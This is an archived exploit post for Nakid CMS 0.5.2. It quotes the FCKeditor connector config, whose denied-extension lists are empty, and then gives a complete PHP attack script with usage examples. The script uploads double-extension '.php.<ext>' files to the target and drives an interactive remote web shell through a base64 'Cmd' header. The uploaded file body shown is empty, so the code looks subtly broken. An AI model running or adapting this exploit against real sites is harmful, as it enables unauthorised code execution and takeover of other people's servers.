TUCoPS :: Web :: CMS / Portals :: b1a-1296.htm

Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit
Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit
Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit



> Exploit database separated by exploit   0=0D
 0                   \/___/          type (local, remote, DoS, etc.)    1=0D
 1                                                                      1=0D
 0  [+] Site            : Inj3ct0r.com                                  0=0D
 1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1=0D
 0                                                                      0=0D
 1                    ########################################          1=0D
 0                    I'm eidelweiss member from Inj3ct0r Team          1=0D
 1                    ########################################          0=0D
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1=0D
=0D
Developers: www.nakid.org=0D 
 Download : https://sourceforge.net/projects/nakidcms/files/Nakid%20CMS%20v_0_5_2.rar/download=0D
 Version:   0.5.2=0D
 exploited by ..: eidelweiss=0D
 =0D
 details..: works with an Apache server with the mod_mime module installed (if specific)=0D
  =0D
 [-] vulnerable code in path/includes/js/fckeditor/editor/filemanager/connectors/php/config.php=0D
     =0D
    [*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").=0D
    [*] =0D
    [*]	$Config['Enabled'] = true ;=0D
    [*]=0D
    [*] // Path to user files relative to the document root.=0D
    [*] $Config['UserFilesPath'] = '/nakid_uploads/' ;=0D
    [*] //$Config['UserFilesPath'] = '/userfiles/' ;=0D
    [*]=0D
    [*] // Fill the following value it you prefer to specify the absolute path for the=0D
    [*] // user files directory. Usefull if you are using a virtual directory, symbolic=0D
    [*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'.=0D
    [*] // Attention: The above 'UserFilesPath' must point to the same directory.=0D
    [*] =0D
    [*] // What the user can do with this connector.=0D
    [*] $Config['ConfigAllowedCommands'] = array('QuickUpload', 'FileUpload', 'GetFolders', 'GetFoldersAndFiles', 'CreateFolder') ;=0D
    [*]=0D
    [*] $Config['AllowedExtensions']['File']	= array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....]=0D
    [*] $Config['DeniedExtensions']['File']     = array() ;=0D
    [*]=0D
    [*] $Config['AllowedExtensions']['Image']   = array('bmp','gif','jpeg','jpg','png') ;=0D
    [*] $Config['DeniedExtensions']['Image']    = array() ;=0D
    [*]=0D
    [*] $Config['AllowedExtensions']['Flash']   = array('swf','flv') ;=0D
    [*] $Config['DeniedExtensions']['Flash']    = array() ;=0D
    [*]=0D
    [*] $Config['AllowedExtensions']['Media']	= array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ;=0D
    [*] $Config['DeniedExtensions']['Media']    = array() ;=0D
     =0D
    with a default configuration of this script, an attacker might be able to upload arbitrary=0D
    files containing malicious PHP code due to multiple file extensions isn't properly checked=0D
*/=0D
 =0D
*/=0D
error_reporting(0);=0D
set_time_limit(0);=0D
ini_set("default_socket_timeout", 5);=0D
function http_send($host, $packet)=0D
{=0D
 $sock = fsockopen($host, 80);=0D
 while (!$sock)=0D
 {=0D
  print "\n[-] No response from {$host}:80 Trying again...";=0D
  $sock = fsockopen($host, 80);=0D
 }=0D
 fputs($sock, $packet);=0D
 while (!feof($sock)) $resp .= fread($sock, 1024);=0D
 fclose($sock);=0D
 return $resp;=0D
}=0D
function upload()=0D
{=0D
 global $host, $path;=0D
  =0D
 $connector = "/includes/js/fckeditor/editor/filemanager/connectors/php/config.php";=0D
 $file_ext  = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");=0D
  =0D
 foreach ($file_ext as $ext)=0D
 {=0D
  print "\n[-] Trying to upload with .{$ext} extension...";=0D
   =0D
  $data  = "--abcdef\r\n";=0D
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n";=0D
  $data .= "Content-Type: application/octet-stream\r\n\r\n";=0D
  $data .= "\r\n";=0D
  $data .= "--abcdef--\r\n";=0D
   =0D
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";=0D
  $packet .= "Host: {$host}\r\n";=0D
  $packet .= "Content-Length: ".strlen($data)."\r\n";=0D
  $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n";=0D
  $packet .= "Connection: close\r\n\r\n";=0D
  $packet .= $data;=0D
   =0D
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);=0D
   =0D
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");=0D
   =0D
  $packet  = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";=0D
  $packet .= "Host: {$host}\r\n";=0D
  $packet .= "Connection: close\r\n\r\n";=0D
  $html    = http_send($host, $packet);=0D
   =0D
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;=0D
   =0D
  sleep(1);=0D
 }=0D
  =0D
 return false;=0D
}=0D
print "\n+--------------------------------------------------------------------------+";=0D
print "\n| Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit by eidelweiss |";=0D
print "\n+--------------------------------------------------------------------------+\n";=0D
if ($argc < 3)=0D
{=0D
 print "\nUsage......: php $argv[0] host path\n";=0D
 print "\nExample....: php $argv[0] localhost /";=0D
 print "\nExample....: php $argv[0] localhost /Nakid/\n";=0D
 die();=0D
}=0D
$host = $argv[1];=0D
$path = $argv[2];=0D
if (!($ext = upload())) die("\n\n[-] Exploit failed You are not lucky...\n");=0D
else print "\n[-] Shell uploaded in progress...!\n";=0D
define(STDIN, fopen("php://stdin", "r"));=0D
while(1)=0D
{=0D
 print "\Nakid-shell# ";=0D
 $cmd = trim(fgets(STDIN));=0D
 if ($cmd != "exit")=0D
 {=0D
  $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n";=0D
  $packet.= "Host: {$host}\r\n";=0D
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";=0D
  $packet.= "Connection: close\r\n\r\n";=0D
  $html   = http_send($host, $packet);=0D
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed You are not lucky...\n");=0D
  $shell = explode("_code_", $html);=0D
  print "\n{$shell[1]}";=0D
 }=0D
 else break;=0D
}=0D
?>

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH